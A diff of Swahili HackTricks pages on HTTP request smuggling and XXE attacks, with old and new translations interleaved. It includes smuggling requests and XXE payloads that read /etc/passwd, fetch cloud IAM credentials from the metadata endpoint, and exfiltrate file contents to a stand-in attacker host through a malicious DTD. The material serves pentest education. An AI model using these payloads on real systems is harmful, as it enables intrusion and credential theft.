Hapa chini ni mfano wa kudanganya **sumu ya hifadhi iliyochanganywa na uelekezaji kwenye wavuti kwenda kwa uelekezaji wazi**. Lengo ni kubadilisha yaliyomo ya hifadhi ya `/static/include.js` ili kutumikia nambari ya JavaScript inayodhibitiwa na mshambuliaji:
|
||||
Hapa chini ni mchoro wa kutumia **sumu ya cache ikichanganywa na uelekezaji wa wavuti kwenda kwa kuelekeza wazi**. lengo ni kubadilisha yaliyomo ya cache ya `/static/include.js` kutoa msimbo wa JavaScript uliodhibitiwa na mshambuliaji:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
|
@ -524,19 +462,20 @@ Content-Length: 10
|
|||
|
||||
x=1
|
||||
```
|
||||
Tafadhali kumbuka ombi lililofichwa linalolenga `/post/next?postId=3`. Ombi hili litaelekezwa kwa `/post?postId=4`, kwa kutumia **kichwa cha Host** kuamua kikoa. Kwa kubadilisha **kichwa cha Host**, mshambuliaji anaweza kuuelekeza ombi kwenye kikoa chao (**uongozi wa ndani kwenda kwenye uongozi wazi**).
|
||||
Tafadhali kumbuka ombi lililofichwa linalolenga `/post/next?postId=3`. Ombi hili litaelekezwa kwa `/post?postId=4`, likitumia **Thamani ya Kichwa cha Mwenyeji** kubaini kikoa. Kwa kubadilisha **Kichwa cha Mwenyeji**, mshambuliaji anaweza kuuelekeza ombi kwenye kikoa chao (**kuelekeza kwa tovuti yao kwa kuelekeza wazi**).
|
||||
|
||||
Baada ya kufanikiwa kwa **sumu ya soketi**, ombi la **GET** kwa `/static/include.js` linapaswa kuanzishwa. Ombi hili litachanganywa na ombi la awali la **uongozi wa ndani kwenda kwenye uongozi wazi** na kupata maudhui ya skripti inayodhibitiwa na mshambuliaji.
|
||||
Baada ya **sumu ya soketi** kufanikiwa, **ombi la GET** kwa `/static/include.js` linapaswa kuanzishwa. Ombi hili litachafuliwa na ombi la awali la **kuelekeza kwa tovuti yao kwa kuelekeza wazi** na kuchukua maudhui ya skripti inayodhibitiwa na mshambuliaji.
|
||||
|
||||
Kwa hiyo, ombi lolote la `/static/include.js` litahudumia maudhui yaliyohifadhiwa ya skripti ya mshambuliaji, kuzindua mashambulizi ya XSS kwa kiasi kikubwa.
|
||||
Baadaye, ombi lolote kwa `/static/include.js` litahudumia maudhui yaliyohifadhiwa ya skripti ya mshambuliaji, ikizindua mashambulizi makubwa ya XSS.
|
||||
|
||||
### Kutumia udanganyifu wa ombi la HTTP kutekeleza udanganyifu wa kuhifadhi wavuti <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
### Kutumia udanganyifu wa ombi la HTTP kutekeleza udanganyifu wa akiba ya wavuti <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **Je, tofauti kati ya sumu ya akiba ya wavuti na udanganyifu wa akiba ya wavuti ni ipi?**
|
||||
> **Ni tofauti gani kati ya sumu ya kuhifadhi wavuti na udanganyifu wa kuhifadhi wavuti?**
|
||||
>
|
||||
> * Katika **sumu ya akiba ya wavuti**, mshambuliaji husababisha programu kuhifadhi baadhi ya maudhui mabaya kwenye akiba, na maudhui haya hutumikia kutoka kwenye akiba kwa watumiaji wengine wa programu.
|
||||
> * Katika **udanganyifu wa akiba ya wavuti**, mshambuliaji husababisha programu kuhifadhi baadhi ya maudhui nyeti yanayomilikiwa na mtumiaji mwingine kwenye akiba, na kisha mshambuliaji huchukua maudhui haya kutoka kwenye akiba.
|
||||
> * Katika **sumu ya kuhifadhi wavuti**, mshambuliaji husababisha programu kuhifadhi baadhi ya maudhui mabaya kwenye hifadhi, na maudhui haya hutolewa kutoka kwenye hifadhi kwa watumiaji wengine wa programu.
|
||||
> * Katika **udanganyifu wa kuhifadhi wavuti**, mshambuliaji husababisha programu kuhifadhi baadhi ya maudhui nyeti yanayomilikiwa na mtumiaji mwingine kwenye hifadhi, na kisha mshambuliaji huchukua maudhui haya kutoka kwenye hifadhi.
|
||||
|
||||
Mshambuliaji huchora ombi lililofichwa linalopata maudhui nyeti yanayohusiana na mtumiaji. Fikiria mfano ufuatao:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -547,17 +486,17 @@ Kwa hiyo, ombi lolote la `/static/include.js` litahudumia maudhui yaliyohifadhiw
|
|||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
Ikiwa ombi hili lililokwepa linaingiza data yenye sumu kwenye kumbukumbu iliyokusudiwa kwa yaliyomo ya kudumu (kwa mfano, `/someimage.png`), data nyeti ya mwathirika kutoka `/private/messages` inaweza kuhifadhiwa chini ya kumbukumbu ya yaliyomo ya kudumu. Kwa hivyo, mshambuliaji anaweza kupata data nyeti iliyohifadhiwa hivi.
|
||||
Ikiwa ombi lililokwenda kwa siri linachafua kuingia kwa cache iliyokusudiwa kwa yaliyomo ya msingi (k.mf., `/someimage.png`), data nyeti ya mwathiriwa kutoka `/private/messages` inaweza kuingizwa chini ya kuingia cha cache ya yaliyomo ya msingi. Kufuatia hilo, mkaidi anaweza kupata data nyeti zilizohifadhiwa kwenye cache hizo.
|
||||
|
||||
### Kutumia Ujanja wa Ombi la HTTP kwa Kusawazisha Majibu ya HTTP
|
||||
### Kutumia Silaha ya Udukuzi wa Ombi la HTTP na Kutengua Majibu ya HTTP
|
||||
|
||||
Je, umepata kasoro ya Ujanja wa Ombi la HTTP na hujui jinsi ya kuitumia. Jaribu njia hii nyingine ya kutumia:
|
||||
Je! Umepata udhaifu wa Udukuzi wa Ombi la HTTP na hujui jinsi ya kuutumia. Jaribu njia hii nyingine ya udukuzi:
|
||||
|
||||
{% content-ref url="../http-response-smuggling-desync.md" %}
|
||||
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Skrini za Turbo Intruder
|
||||
## Skripti za Turbo Intruder
|
||||
|
||||
### CL.TE
|
||||
|
||||
|
@ -650,7 +589,8 @@ table.add(req)
|
|||
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
||||
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Kifaa hiki ni Fuzzer ya HTTP inayotumia sarufi na inayofaa kutafuta tofauti za kushangaza katika udukuzi wa ombi.
|
||||
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Zana hii ni Fuzzer ya HTTP iliyo na msingi wa sarufi inayoweza kutumika kutambua tofauti za udukuzi wa ombi la kutatanisha.
|
||||
|
||||
## Marejeo
|
||||
|
||||
|
@ -664,14 +604,14 @@ table.add(req)
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inayotangazwa katika HackTricks** au **kupakua HackTricks katika PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# XXE - XEE - Kifaa cha Nje cha XML
|
||||
# XXE - XEE - XML External Entity
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,39 +6,33 @@
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
## Misingi ya XML
|
||||
|
||||
XML ni lugha ya alama iliyoundwa kwa ajili ya kuhifadhi na kusafirisha data, ikijumuisha muundo unaoweza kubadilika ambao unaruhusu matumizi ya vitambulisho vilivyopewa majina ya kuelezea. Tofauti na HTML, XML haikuwa imefungwa kwa seti ya vitambulisho vilivyopangwa mapema. Umuhimu wa XML umepungua na kuongezeka kwa JSON, licha ya jukumu lake la awali katika teknolojia ya AJAX.
|
||||
|
||||
- **Uwakilishi wa Data kupitia Vitengo**: Vitengo katika XML huruhusu uwakilishi wa data, ikiwa ni pamoja na herufi maalum kama `<` na `>`, ambazo zinafanana na `<` na `>` ili kuepuka mgongano na mfumo wa vitambulisho vya XML.
|
||||
|
||||
- **Kuainisha Vitengo vya XML**: XML inaruhusu kuainisha aina za vitengo, ikielezea jinsi vitengo vinavyopaswa kuwa na muundo na ni aina gani ya maudhui yanayoweza kuwa nayo, kutoka aina yoyote ya maudhui hadi vitengo vya watoto maalum.
|
||||
|
||||
- **Ufafanuzi wa Aina ya Nyaraka (DTD)**: DTD ni muhimu katika XML kwa kuainisha muundo wa nyaraka na aina za data inaweza kuwa nayo. Wanaweza kuwa ndani, nje, au mchanganyiko, na kuongoza jinsi nyaraka zinavyopangwa na kuthibitishwa.
|
||||
|
||||
- **Vitengo vya Kibinafsi na vya Nje**: XML inasaidia uundaji wa vitengo vya kibinafsi ndani ya DTD kwa uwakilishi wa data wenye mabadiliko. Vitengo vya nje, vilivyoelezwa na URL, vinazua wasiwasi wa usalama, haswa katika muktadha wa mashambulio ya XML External Entity (XXE), ambayo yanatumia jinsi wapangaji wa XML wanavyoshughulikia vyanzo vya data vya nje: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
|
||||
- **Ugunduzi wa XXE kwa Kutumia Vitengo vya Parameta**: Kwa kugundua udhaifu wa XXE, haswa wakati njia za kawaida zinashindwa kutokana na hatua za usalama za mpangaji, vitengo vya parameta vya XML vinaweza kutumika. Vitengo hivi huruhusu matumizi ya njia za ugunduzi nje ya mtandao, kama vile kuzindua utaftaji wa DNS au ombi la HTTP kwa kikoa kilichodhibitiwa, ili kuthibitisha udhaifu.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
XML ni lugha ya alama iliyoundwa kwa uhifadhi na usafirishaji wa data, ikiwa na muundo wa kubadilika kuruhusu matumizi ya vitambulisho vilivyopewa majina ya kuelezea. Inatofautiana na HTML kwa kutokuwa na kikomo cha vitambulisho vilivyopangwa mapema. Umuhimu wa XML umepungua na kuibuka kwa JSON, licha ya jukumu lake la awali katika teknolojia ya AJAX.
|
||||
|
||||
* **Uwakilishaji wa Data kupitia Entiti**: Entiti katika XML inawezesha uwakilishaji wa data, ikiwa ni pamoja na herufi maalum kama vile `<` na `>`, ambazo zinafaanana na `<` na `>` ili kuepuka mgongano na mfumo wa vitambulisho vya XML.
|
||||
* **Kuainisha Elementi za XML**: XML inaruhusu kuainisha aina za elementi, ikielezea jinsi elementi zinavyopaswa kuwa na muundo na yaliyomo wanayoweza kuwa nayo, kutoka aina yoyote ya yaliyomo hadi elementi maalum za watoto.
|
||||
* **Ufafanuzi wa Aina ya Nyaraka (DTD)**: DTD ni muhimu katika XML kwa kuainisha muundo wa nyaraka na aina za data inaweza kuwa nayo. Zinaweza kuwa za ndani, za nje, au mchanganyiko, zikiongoza jinsi nyaraka zinavyopangwa na kuhakikiwa.
|
||||
* **Entiti za Kibinafsi na za Nje**: XML inasaidia uundaji wa entiti za kibinafsi ndani ya DTD kwa uwakilishaji wa data wenye kubadilika. Entiti za nje, zilizoainishwa na URL, zinazua wasiwasi wa usalama, hasa katika muktadha wa mashambulizi ya XML External Entity (XXE), ambayo yanatumia jinsi wapangaji wa XML wanavyoshughulikia vyanzo vya data vya nje: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
* **Uchunguzi wa XXE kwa Kutumia Entiti za Parameta**: Kwa kugundua udhaifu wa XXE, hasa wakati njia za kawaida zinashindwa kutokana na hatua za usalama za wapangaji, entiti za parameta za XML zinaweza kutumika. Entiti hizi huruhusu mbinu za uchunguzi nje ya mtandao, kama vile kuzindua uchunguzi wa DNS au maombi ya HTTP kwa kikoa kilichodhibitiwa, kuthibitisha udhaifu.
|
||||
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
## Mashambulizi Makuu
|
||||
|
||||
**[Mashambulizi mengi haya yalijaribiwa kwa kutumia maabara ya kushangaza ya Portswiggers XEE: https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)**
|
||||
[**Mashambulizi mengi yalijaribiwa kwa kutumia maabara ya kushangaza ya Portswiggers XEE: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
|
||||
### Jaribio la Kifaa Kipya
|
||||
### Jaribio la Entiti Mpya
|
||||
|
||||
Katika shambulio hili, nita jaribu kama tangazo rahisi la KIFAA jipya linaweza kufanya kazi.
|
||||
Katika shambulizi hili, ninafanya jaribio la kuona kama tangazo rahisi la ENTITI mpya linaweza kufanya kazi
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
|
||||
|
@ -47,27 +41,23 @@ Katika shambulio hili, nita jaribu kama tangazo rahisi la KIFAA jipya linaweza k
|
|||
<storeId>1</storeId>
|
||||
</stockCheck>
|
||||
```
|
||||
![](<../.gitbook/assets/image (220).png>)
|
||||
|
||||
### Soma faili
|
||||
|
||||
Hebu jaribu kusoma `/etc/passwd` kwa njia tofauti. Kwa Windows unaweza kujaribu kusoma: `C:\windows\system32\drivers\etc\hosts`
|
||||
|
||||
Katika kesi hii ya kwanza, tafadhali kumbuka kwamba SYSTEM "_\*\*file:///\*\*etc/passwd_" pia itafanya kazi.
|
||||
Katika kesi hii ya kwanza, tafadhali kumbuka kwamba SYSTEM "_\*\*file:///\*\*etc/passwd_" itafanya kazi pia.
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
![](<../.gitbook/assets/image (221).png>)
|
||||
|
||||
Kesi ya pili hii inaweza kuwa na manufaa kutoa faili ikiwa seva ya wavuti inatumia PHP (Sio kesi ya Maabara ya Portswiggers)
|
||||
Hii kesi ya pili inaweza kuwa na manufaa kutoa faili ikiwa seva ya wavuti inatumia PHP (Sio kesi ya maabara ya Portswiggers)
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
Katika kesi hii ya tatu, tafadhali kumbuka tunatangaza `Element stockCheck` kama ANY
|
||||
Katika kesi hii ya tatu, tafadhali kumbuka kwamba tunatangaza `Element stockCheck` kama ANY
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE data [
|
||||
|
@ -81,9 +71,9 @@ Katika kesi hii ya tatu, tafadhali kumbuka tunatangaza `Element stockCheck` kama
|
|||
```
|
||||
![](<../.gitbook/assets/image (222) (1).png>)
|
||||
|
||||
### Orodha ya Mwongozo
|
||||
### Orodha ya directory
|
||||
|
||||
Katika programu zinazotegemea **Java**, inaweza kuwa inawezekana **kuorodhesha maudhui ya saraka** kupitia XXE na mzigo kama huu (tuulize saraka badala ya faili):
|
||||
Katika maombi yaliyojengwa kwa **Java** inaweza kuwa inawezekana **kuorodhesha maudhui ya directory** kupitia XXE na mzigo kama huu (kuuliza tu kwa directory badala ya faili):
|
||||
```xml
|
||||
<!-- Root / -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||
|
@ -99,78 +89,72 @@ XXE inaweza kutumika kudhuru SSRF ndani ya wingu
|
|||
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
|
||||
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
### Blind SSRF
|
||||
### SSRF ya Kipofu
|
||||
|
||||
Kwa kutumia **njia iliyotajwa hapo awali**, unaweza kufanya seva kupata seva unayodhibiti ili kuonyesha kuwa ina kasoro. Lakini, ikiwa hiyo haifanyi kazi, labda ni kwa sababu **vifaa vya XML haviruhusiwi**, katika kesi hiyo unaweza jaribu kutumia **vifaa vya XML vigezo**:
|
||||
Kwa kutumia **njia iliyotajwa hapo awali**, unaweza kufanya server ufikie server unayodhibiti ili kuonyesha kuwa ni dhaifu. Lakini, ikiwa hiyo haifanyi kazi, labda ni kwa sababu **vitengo vya XML haviruhusiwi**, katika kesi hiyo unaweza jaribu kutumia **vitengo vya parameta za XML**:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
### "Blind" SSRF - Kuvuja data nje ya wigo
|
||||
### "Blind" SSRF - Kutuma data nje ya mpangilio
|
||||
|
||||
**Katika tukio hili, tutafanya seva kupakia DTD mpya na mzigo mbaya ambao utatuma maudhui ya faili kupitia ombi la HTTP (kwa faili zenye mistari mingi unaweza kujaribu kuvuja kupitia** _**ftp://**_**). Maelezo haya yanategemea** [**maabara ya Portswiggers hapa**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
**Katika tukio hili tutafanya server kupakia DTD mpya na mzigo wa hatari ambao utatuma maudhui ya faili kupitia ombi la HTTP (**kwa **faili zenye mistari mingi unaweza kujaribu kuitoa kupitia** _**ftp://**_ kutumia server huu wa msingi kwa mfano [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Maelezo haya yanategemea** [**maabara ya Portswiggers hapa**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
|
||||
Katika DTD mbaya iliyotolewa, hatua kadhaa zinafanywa ili kuvuja data:
|
||||
Katika DTD hatari iliyotolewa, hatua kadhaa zinafanywa kutoa data:
|
||||
|
||||
### Mfano wa DTD Mbaya:
|
||||
### Mfano wa DTD Hatari:
|
||||
|
||||
Muundo ni kama ifuatavyo:
|
||||
```xml
|
||||
<!ENTITY % file SYSTEM "file:///etc/hostname">
|
||||
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
|
||||
%eval;
|
||||
%exfiltrate;
|
||||
```
|
||||
Hatua zinazotekelezwa na DTD hii ni:
|
||||
Hatua zilizotekelezwa na DTD hii ni:
|
||||
|
||||
1. **Ufafanuzi wa Parameter Entities:**
|
||||
- Kipengele cha parameter cha XML, `%file`, kinatengenezwa, kikisoma maudhui ya faili `/etc/hostname`.
|
||||
- Kipengele kingine cha parameter cha XML, `%eval`, kinatambulishwa. Kinafafanua kwa kudinamikisha kipengele kingine cha parameter cha XML, `%exfiltrate`. Kipengele cha `%exfiltrate` kinasanidiwa kufanya ombi la HTTP kwenye seva ya muharibifu, kikipitisha maudhui ya kipengele cha `%file` ndani ya string ya swali ya URL.
|
||||
1. **Ufafanuzi wa Vipengele vya Parameta:**
|
||||
* Kipengele cha parameta cha XML, `%file`, kinaundwa, kusoma maudhui ya faili `/etc/hostname`.
|
||||
* Kipengele kingine cha parameta cha XML, `%eval`, kinafafanuliwa. Kinaanzisha kwa kudai kipengele kipya cha parameta cha XML, `%exfiltrate`. Kipengele cha `%exfiltrate` kinaelekezwa kufanya ombi la HTTP kwa seva ya muhusika, kupitisha maudhui ya kipengele cha `%file` ndani ya mfuatano wa query wa URL.
|
||||
2. **Utekelezaji wa Vipengele:**
|
||||
* Kipengele cha `%eval` kinatumika, kusababisha utekelezaji wa tangazo la kipengele cha `%exfiltrate`.
|
||||
* Kipengele cha `%exfiltrate` kisha hutumiwa, kuzindua ombi la HTTP kwenye URL iliyotajwa na maudhui ya faili.
|
||||
|
||||
2. **Utekelezaji wa Entities:**
|
||||
- Kipengele cha `%eval` kinatumika, kusababisha utekelezaji wa tangazo la kipengele cha `%exfiltrate` kinachodinamikishwa.
|
||||
- Kipengele cha `%exfiltrate` kinatumika kisha, kusababisha ombi la HTTP kwenye URL iliyotajwa na maudhui ya faili.
|
||||
Mshambuliaji huanzisha DTD hii yenye nia mbaya kwenye seva chini ya udhibiti wao, kawaida kwa URL kama `http://web-attacker.com/malicious.dtd`.
|
||||
|
||||
Muharibifu anahifadhi DTD hii yenye nia mbaya kwenye seva inayodhibitiwa na wao, kawaida kwenye URL kama `http://web-attacker.com/malicious.dtd`.
|
||||
|
||||
**XXE Payload:**
|
||||
Ili kutumia programu inayoweza kudhurika, muharibifu anatuma mzigo wa XXE:
|
||||
**Mzigo wa XXE:** Ili kutumia programu iliyodhoofika, mshambuliaji hutoa mzigo wa XXE:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Hii payload inadefine XML parameter entity `%xxe` na kuichanganya ndani ya DTD. Wakati inapopitishwa na kisomaji wa XML, payload hii inapata DTD ya nje kutoka kwenye seva ya mshambuliaji. Kisha kisomaji huchambua DTD hiyo kwa mstari, kutekeleza hatua zilizoelezwa kwenye DTD mbaya na kusababisha kuvuja kwa faili ya `/etc/hostname` kwenda kwenye seva ya mshambuliaji.
|
||||
Hii mzigo wa data unatambulisha kipengele cha parameter cha XML `%xxe` na kukijumuisha ndani ya DTD. Wakati inapopitishwa na kipambatishaji wa XML, mzigo huu unapata DTD ya nje kutoka kwenye seva ya mkaidi. Kipambatishaji kisha huchambua DTD kwa mstari, kutekeleza hatua zilizoelezwa kwenye DTD yenye nia mbaya na kusababisha utoaji wa faili ya `/etc/hostname` kwenye seva ya mkaidi.
|
||||
|
||||
### Kosa Kulingana na Kosa (External DTD)
|
||||
### Kulingana na Makosa (DTD ya Nje)
|
||||
|
||||
**Katika kesi hii, tutafanya seva ipakie DTD mbaya ambayo itaonyesha maudhui ya faili ndani ya ujumbe wa kosa (hii ni sahihi tu ikiwa unaweza kuona ujumbe wa kosa).** [**Mfano kutoka hapa.**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
Ujumbe wa kosa wa kuchambua XML, unaofunua maudhui ya faili ya `/etc/passwd`, unaweza kusababishwa kwa kutumia Document Type Definition (DTD) mbaya ya nje. Hii inafanikiwa kupitia hatua zifuatazo:
|
||||
Ujumbe wa kosa wa uchambuzi wa XML, ukiweka wazi maudhui ya faili ya `/etc/passwd`, unaweza kusababishwa kwa kutumia Maelekezo ya Aina ya Hati ya Nje (DTD) mbaya. Hii inafanikishwa kupitia hatua zifuatazo:
|
||||
|
||||
1. Kipengele cha XML kinachoitwa `file` kinafafanuliwa, ambacho kina maudhui ya faili ya `/etc/passwd`.
|
||||
2. Kipengele cha XML kinachoitwa `eval` kinafafanuliwa, kikiunganisha tangazo la kudumu kwa kipengele kingine cha XML kinachoitwa `error`. Kipengele hiki cha `error`, wakati kinapohesabiwa, kinajaribu kupakia faili isiyopo, kikiunganisha maudhui ya kipengele cha `file` kama jina lake.
|
||||
3. Kipengele cha `eval` kinaitwa, kusababisha tangazo la kudumu la kipengele cha `error`.
|
||||
4. Wito wa kipengele cha `error` unapelekea jaribio la kupakia faili isiyopo, likizalisha ujumbe wa kosa ambao unajumuisha maudhui ya faili ya `/etc/passwd` kama sehemu ya jina la faili.
|
||||
1. Kipengele cha parameter cha XML kinachoitwa `file` kinafafanuliwa, ambacho kina maudhui ya faili ya `/etc/passwd`.
|
||||
2. Kipengele cha parameter cha XML kinachoitwa `eval` kinafafanuliwa, kikijumuisha tangazo la kudai la kipengele kingine cha parameter cha XML kinachoitwa `error`. Kipengele hiki cha `error`, wakati kinachunguzwa, kinajaribu kupakia faili isiyopo, kikijumuisha maudhui ya kipengele cha `file` kama jina lake.
|
||||
3. Kipengele cha `eval` kinaitwa, kusababisha tangazo la kudai la kipengele cha `error`.
|
||||
4. Kuwaita kipengele cha `error` kunasababisha jaribio la kupakia faili isiyopo, kuzalisha ujumbe wa kosa ambao unajumuisha maudhui ya faili ya `/etc/passwd` kama sehemu ya jina la faili.
|
||||
|
||||
DTD mbaya ya nje inaweza kuitwa na XML ifuatayo:
|
||||
DTD ya nje yenye nia mbaya inaweza kuitwa kwa kutumia XML ifuatayo:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Baada ya utekelezaji, jibu la seva ya wavuti linapaswa kuwa na ujumbe wa kosa unaonyesha maudhui ya faili ya `/etc/passwd`.
|
||||
### **Kosa Kulingana na (mfumo wa DTD)**
|
||||
|
||||
![](<../.gitbook/assets/image (223) (1).png>)
|
||||
Kwa hivyo, ni vipi kuhusu udhaifu wa XXE wa kipofu wakati **mwingiliano wa nje wa mtandao umefungwa** (mawasiliano ya nje hayapatikani)?.
|
||||
|
||||
